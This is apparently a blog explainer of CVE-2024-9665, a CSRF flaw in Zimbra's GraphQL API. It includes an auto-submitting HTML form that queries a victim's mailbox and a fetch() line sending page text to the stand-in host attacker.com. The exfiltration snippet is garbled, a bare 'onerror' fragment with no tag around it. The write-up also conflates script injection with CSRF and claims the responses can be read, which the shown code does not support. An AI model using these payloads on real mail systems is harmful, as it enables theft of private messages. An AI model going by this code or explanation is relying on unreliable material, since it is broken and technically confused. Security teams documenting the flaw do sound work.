The email platform Zimbra Collaboration Suite is used by thousands of companies around the world. It’s known for its calendaring, messaging, and “everything in the browser” approach. But every now and then, vulnerabilities pop up that put sensitive information at risk for everyone.

One such issue is CVE-2024-9665 (also tracked as ZDI-CAN-23939), centered on Zimbra’s GraphQL API and a lack of CSRF protection. Let’s break down what this means, show some example code, and help you see exactly why this matters — even if you’re not a programmer.

What is CVE-2024-9665?

CVE-2024-9665 is a Cross-Site Request Forgery (CSRF) *information disclosure* vulnerability affecting the GraphQL endpoint in Zimbra. In plain English:

Attackers can trick users into sending requests from their own Zimbra session.

- Attackers can then read private information from the victim’s email account, like emails, chat histories, or other mailbox contents.

This doesn’t allow hackers to write or change anything — just to steal information. But sometimes, information is all they need.

How Does the Attack Work?

Attackers pull this off using a classic CSRF trick — but with a modern twist, thanks to GraphQL.

The victim is already logged in to their Zimbra webmail in the browser.

- The attacker sends a malicious email to the victim, containing a specially crafted HTML element (like an <img> tag or a hidden form).

`html

onerror="

fetch('https://attacker.com/steal?data='+encodeURIComponent(document.body.innerText))

Or, more typically, they use a hidden form with a legit GraphQL query.

Victim Opens Mail

Just previewing the email causes the browser to make a POST request to the Zimbra GraphQL API with the victim’s session cookies.

No CSRF Protection

Zimbra does not check the origin or require an anti-CSRF token on this endpoint, so the request is accepted.

GraphQL Query Returns Data

The response contains sensitive data from the victim’s account — emails, contacts, etc. This can be exfiltrated by redirecting the user’s browser to an endpoint the attacker controls.

The following is a simple proof-of-concept that could be included in a malicious email

<!-- This will run as soon as the victim loads or previews an email.
     It sends a POST request to Zimbra's GraphQL API endpoint from the victim's browser. -->
<form id="csrf" action="https://zimbra.example.com/service/graphql" method="POST" target="hidden_iframe">
  <input type="hidden" name="query" value="{viewer{email,displayName,mailbox{messages{subject,dateReceived}}}}">
</form>
<iframe name="hidden_iframe" style="display:none;"></iframe>
<script>
 document.getElementById('csrf').submit();
</script>

Why Isn’t This Blocked?

Good CSRF defense would check for a CSRF token or for a valid Origin or Referer header.
In this case, Zimbra’s /service/graphql endpoint accepts requests from any origin without verification, making it trivial for attackers to exploit.

Impact

- Attackers can read your emails, contacts, and other mailbox data if you just open a malicious message.

Especially dangerous for companies or organizations using Zimbra for sensitive communication.

To sum up: If someone gets your users to open a malicious email, they can steal their sensitive messages, and Zimbra won’t even notice.

At the time of this writing, Zimbra is expected to release a patch.

Check Zimbra’s official security advisory here.

Web Application Firewalls:

You could block cross-origin POST requests to /service/graphql as a band-aid (not a permanent fix).

Technical References

- Zero Day Initiative Advisory (ZDI-24-679)
- CVE entry at MITRE
- Zimbra Security Portal

Final Thought

CVE-2024-9665 is a classic example of why every API, especially those holding private communications, must implement basic CSRF protections.
If you run Zimbra — patch as soon as possible, and watch those endpoint exposures.


Are you using Zimbra? Double-check your version. With email, even small mistakes can be costly!

Timeline

Published on: 11/22/2024 21:15:23 UTC
Last modified on: 01/03/2025 21:58:29 UTC